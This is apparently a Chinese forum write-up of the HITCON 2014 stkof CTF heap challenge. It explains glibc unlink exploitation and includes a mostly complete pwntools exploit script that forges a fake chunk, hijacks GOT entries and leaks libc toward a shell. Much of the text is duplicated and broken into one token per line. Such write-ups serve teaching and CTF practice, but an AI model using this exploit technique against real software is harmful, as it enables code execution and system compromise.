-
-
[原创]Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
-
发表于: 2020-11-24 14:30 8860
-
验证第1个chunk的index为1
思路:
通过unlink漏洞把这三个函数got表项地址写入globals数组中。
通过fill函数,往globals[0]指向的地址里写入数据,即往free@got里写入puts@plt。
思路就是上面所说的。那么现在还有个问题。怎么利用unlink修改globals数组?
我们先来回顾一下unlink漏洞
unlink: 当前释放的chunk与前一个或者后一个空闲chunk进行合并时,会先把空闲chunk从bin中移除,移除过程使用unlink宏来实现。
unlink漏洞:若chunk a存在堆溢出漏洞(data内容可控且无输入长度限制)覆盖到chunk b,在chunk a的data处创建fake free chunk,并更改chunk b的结构中的前两个属性,prev_size
和size
里的P位标志。
P位标志置零使上一个chunk a被认为是free chunk,Free(b)时会触发向后合并。
prev_size
被改写,向后合并时会找到fake free chunk。
unlink安全检查
现在思路已经清晰了,按照思路边调试边写exp就OK啦!
我做题的时候突然想到,修改程序流程的时候,我们一直都是改got表项内容,能不能直接改plt表项呢?也就是能不能直接把要跳转的地址覆盖plt表项?(还是想得少)
不能。因为plt节在内存中是属于只读代码段的,没有写权限。比如这题的free函数:
a. 编写模板和选项函数
a. 先malloc三个chunk看看,chunk1用于io缓冲区,chunk2和chunk3连续,准备溢出chunk2。
b. 在chunk2 中伪造free chunk,修改chunk3的prev_size和size。
我这里是把fake free chunk的大小伪造成了0x30,也就是chunk2的user data部分大小,然后再修改chunk3的prev_size为0x30来绕过unlink的第一个大小检查。
而ctfwiki中是伪造成0x20,然后紧接在后面又伪造一个只有prev_size域的chunk。
c. unlink,使得golbal[2] = &(global[2]) - 0x18,那么fill(2)就会从&(global[2]) - 0x18这个地址开始写数据,而且没有长度限制。
d. 将函数free
、puts
,atoi
的got地址写入globals数组中,然后将puts@plt写入free@got中。
e. 泄漏puts函数真实地址,然后计算libc、system函数地址。free(global[1]) == puts(puts@got)
f. 利用fill函数修改atoi@got为system地址
关掉调试信息,结果如下图所示,需要从第2次输入shell命令才能正确回显结果。
HITCON 2014 stkof Writeup(Unlink)
lzx@ubuntu16x64:
2014_hitcon_stkof
$
file
stkof
stkof: ELF
64
-
bit LSB executable, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
23_11
-
linux.so.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
4872b087443d1e52ce720d0a4007b1920f18e7b0
, stripped
lzx@ubuntu16x64:
2014_hitcon_stkof
$ checksec
-
-
file
=
stkof
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No
0
3
stkof
lzx@ubuntu16x64:
2014_hitcon_stkof
$
file
stkof
stkof: ELF
64
-
bit LSB executable, x86
-
64
, version
1
(SYSV), dynamically linked, interpreter
/
lib64
/
23_11
-
linux.so.
2
,
for
GNU
/
Linux
2.6
.
32
, BuildID[sha1]
=
4872b087443d1e52ce720d0a4007b1920f18e7b0
, stripped
lzx@ubuntu16x64:
2014_hitcon_stkof
$ checksec
-
-
file
=
stkof
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable
FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No
0
3
stkof
if
(__builtin_expect (chunksize(P) !
=
prev_size (next_chunk(P)),
0
))
malloc_printerr (
"corrupted size vs. prev_size"
);
if
(__builtin_expect (chunksize(P) !
=
prev_size (next_chunk(P)),
0
))
malloc_printerr (
"corrupted size vs. prev_size"
);
/
/
malloc.c中unlink宏部分源码
FD
=
P
-
>fd;
BK
=
P
-
>bk;
if
(__builtin_expect (FD
-
>bk !
=
P || BK
-
>fd !
=
P,
0
))
malloc_printerr (check_action,
"corrupted double-linked list"
, P);
else
{
FD
-
>bk
=
BK;
BK
-
>fd
=
FD;
......
}
/
/
malloc.c中unlink宏部分源码
FD
=
P
-
>fd;
BK
=
P
-
>bk;
if
(__builtin_expect (FD
-
>bk !
=
P || BK
-
>fd !
=
P,
0
))
malloc_printerr (check_action,
"corrupted double-linked list"
, P);
else
{
FD
-
>bk
=
BK;
BK
-
>fd
=
FD;
......
}
根据FD
-
>bk
=
=
p
-
>fd
-
>bk
=
=
p 推导公式如下:
fake chunk
-
>fd
-
>bk
=
=
fake chunk
=
>
*
(fake chunk
-
>fd
+
0x18
)
=
=
fake chunk
=
>
*
(fake chunk
-
>fd
+
0x18
)
=
=
globals
[index]
=
> (fake chunk
-
>fd
+
0x18
)
=
=
&
globals
[index]
=
> (fake chunk
-
>fd)
=
=
&
globals
[index]
-
0x18
=
>
*
(fake chunk
+
0x10
)
=
=
&
globals
[index]
-
0x18
同理,根据BK
-
>fd
=
=
p
-
>bk
-
>fd
=
=
p ,推导公式如下:
fake chunk
-
>bk
-
>fd
=
=
fake chunk
=
>
*
(fake chunk
-
>bk
+
0x10
)
=
=
fake chunk
=
>
*
(fake chunk
-
>bk
+
0x10
)
=
=
globals
[index]
=
> fake chunk
-
>bk
+
0x10
=
&
globals
[index]
=
> fake chunk
-
>bk
=
&
globals
[index]
-
0x10
=
>
*
(fake chunk
+
0x10
)
=
&
globals
[index]
-
0x10
根据FD
-
>bk
=
=
p
-
>fd
-
>bk
=
=
p 推导公式如下:
fake chunk
-
>fd
-
>bk
=
=
fake chunk
=
>
*
(fake chunk
-
>fd
+
0x18
)
=
=
fake chunk
=
>
*
(fake chunk
-
>fd
+
0x18
)
=
=
globals
[index]
=
> (fake chunk
-
>fd
+
0x18
)
=
=
&
globals
[index]
=
> (fake chunk
-
>fd)
=
=
&
globals
[index]
-
0x18
=
>
*
(fake chunk
+
0x10
)
=
=
&
globals
[index]
-
0x18
同理,根据BK
-
>fd
=
=
p
-
>bk
-
>fd
=
=
p ,推导公式如下:
fake chunk
-
>bk
-
>fd
=
=
fake chunk
=
>
*
(fake chunk
-
>bk
+
0x10
)
=
=
fake chunk
=
>
*
(fake chunk
-
>bk
+
0x10
)
=
=
globals
[index]
=
> fake chunk
-
>bk
+
0x10
=
&
globals
[index]
=
> fake chunk
-
>bk
=
&
globals
[index]
-
0x10
=
>
*
(fake chunk
+
0x10
)
=
&
globals
[index]
-
0x10
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./stkof'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
remote(
'127.0.0.1'
,
0000
)
if
argv[
1
]
=
=
'r'
else
process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
libc
=
ELF(
'./libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
# pause()
def
create(size):
sl(
1
)
sl(size)
ru(
'OK\n'
)
def
delete(index):
sl(
3
)
sl(index)
def
fill(index, size, content):
sl(
2
)
sl(index)
sl(size)
s(content)
ru(
'OK\n'
)
def
show(index):
# useless
sl(
4
)
sl(index)
#start
# end
p.interactive()
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./stkof'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
remote(
'127.0.0.1'
,
0000
)
if
argv[
1
]
=
=
'r'
else
process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
libc
=
ELF(
'./libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
# pause()
def
create(size):
sl(
1
)
sl(size)
ru(
'OK\n'
)
def
delete(index):
sl(
3
)
sl(index)
def
fill(index, size, content):
sl(
2
)
sl(index)
sl(size)
s(content)
ru(
'OK\n'
)
def
show(index):
# useless
sl(
4
)
sl(index)
#start
# end
p.interactive()
# trigger to malloc buffer for io function
create(
0x100
)
# idx 1
create(
0x30
)
# idx 2
# small chunk size in order to trigger unlink
create(
0x80
)
# idx 3
# trigger to malloc buffer for io function
create(
0x100
)
# idx 1
create(
0x30
)
# idx 2
# small chunk size in order to trigger unlink
create(
0x80
)
# idx 3
# a fake chunk at global[2] = global0 + 16 who's size is 0x20
global0
=
0x602140
payload
=
p64(
0
)
#prev_size
payload
+
=
p64(
0x30
)
#size --> except the first line, the rest two line is equal to 0x20?
payload
+
=
p64(global0
+
16
-
0x18
)
#fd
payload
+
=
p64(global0
+
16
-
0x10
)
#bk
#payload += p64(0x20) # next chunk's prev_size bypass the check
payload
=
payload.ljust(
0x30
,
'a'
)
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload
+
=
p64(
0x30
)
#0x30 is the fake chunk size
# make it believe that prev chunk is free
payload
+
=
p64(
0x90
)
fill(
2
,
len
(payload), payload)
# a fake chunk at global[2] = global0 + 16 who's size is 0x20
global0
=
0x602140
payload
=
p64(
0
)
#prev_size
payload
+
=
p64(
0x30
)
#size --> except the first line, the rest two line is equal to 0x20?
payload
+
=
p64(global0
+
16
-
0x18
)
#fd
payload
+
=
p64(global0
+
16
-
0x10
)
#bk
#payload += p64(0x20) # next chunk's prev_size bypass the check
payload
=
payload.ljust(
0x30
,
'a'
)
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload
+
=
p64(
0x30
)
#0x30 is the fake chunk size
# make it believe that prev chunk is free
payload
+
=
p64(
0x90
)
fill(
2
,
len
(payload), payload)
# unlink fake chunk, so global[2] =&(global[2]) - 0x18 = global0 - 8
delete(
3
)
p.recvuntil(
'OK\n'
)
# unlink fake chunk, so global[2] =&(global[2]) - 0x18 = global0 - 8
delete(
3
)
p.recvuntil(
'OK\n'
)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload
=
'a'
*
8
+
p64(elf.got[
'free'
])
+
p64(elf.got[
'puts'
])
+
p64(elf.got[
'atoi'
])
fill(
2
,
len
(payload), payload)
# edit free@got to puts@plt
payload
=
p64(elf.plt[
'puts'
])
fill(
0
,
len
(payload), payload)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload
=
'a'
*
8
+
p64(elf.got[
'free'
])
+
p64(elf.got[
'puts'
])
+
p64(elf.got[
'atoi'
])
fill(
2
,
len
(payload), payload)
# edit free@got to puts@plt
payload
=
p64(elf.plt[
'puts'
])
fill(
0
,
len
(payload), payload)
#free global[1] to leak puts addr
delete(
1
)
puts_addr
=
ru(
'\nOK\n'
)
puts_addr
=
uu64(puts_addr)
leak(
'puts addr: '
,puts_addr)
libc_base
=
puts_addr
-
libc.symbols[
'puts'
]
binsh_addr
=
libc_base
+
next
(libc.search(
'/bin/sh'
))
system_addr
=
libc_base
+
libc.symbols[
'system'
]
leak(
'libc base: '
, libc_base)
leak(
'/bin/sh addr: '
, binsh_addr)
leak(
'system addr: '
,system_addr)
dbg()
#free global[1] to leak puts addr
delete(
1
)
puts_addr
=
ru(
'\nOK\n'
)
puts_addr
=
uu64(puts_addr)
leak(
'puts addr: '
,puts_addr)
libc_base
=
puts_addr
-
libc.symbols[
'puts'
]
binsh_addr
=
libc_base
+
next
(libc.search(
'/bin/sh'
))
system_addr
=
libc_base
+
libc.symbols[
'system'
]
leak(
'libc base: '
, libc_base)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)